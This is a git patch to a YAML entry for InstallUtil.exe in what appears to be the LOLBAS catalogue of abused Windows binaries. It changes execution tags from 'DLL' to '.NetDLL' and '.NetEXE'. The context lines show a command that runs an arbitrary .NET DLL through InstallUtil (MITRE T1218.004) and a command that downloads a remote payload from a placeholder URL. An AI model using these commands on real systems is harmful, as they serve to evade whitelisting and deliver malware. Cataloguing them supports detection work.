From 56ad2e75935bcaf0b3e7cd251f4530f92671a95b Mon Sep 17 00:00:00 2001
From: hegusung <7390383+hegusung@users.noreply.github.com>
Date: Sun, 13 Oct 2024 11:11:44 +0200
Subject: [PATCH] Update Installutil.yml

Changed tags Execute DLL to Execute .NetDLL
Added Execute: .NetEXE tag
---
 yml/OSBinaries/Installutil.yml | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/yml/OSBinaries/Installutil.yml b/yml/OSBinaries/Installutil.yml
index 40d9a44..a5868ca 100644
--- a/yml/OSBinaries/Installutil.yml
+++ b/yml/OSBinaries/Installutil.yml
@@ -12,7 +12,8 @@ Commands:
     MitreID: T1218.004
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
     Tags:
-      - Execute: DLL
+      - Execute: .NetDLL
+      - Execute: .NetEXE
       - Input: Custom Format
   - Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
     Description: Execute the target .NET DLL or EXE.
@@ -22,7 +23,8 @@ Commands:
     MitreID: T1218.004
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
     Tags:
-      - Execute: DLL
+      - Execute: .NetDLL
+      - Execute: .NetEXE
       - Input: Custom Format
   - Command: InstallUtil.exe https://example.com/payload
     Description: It will download a remote payload and place it in INetCache.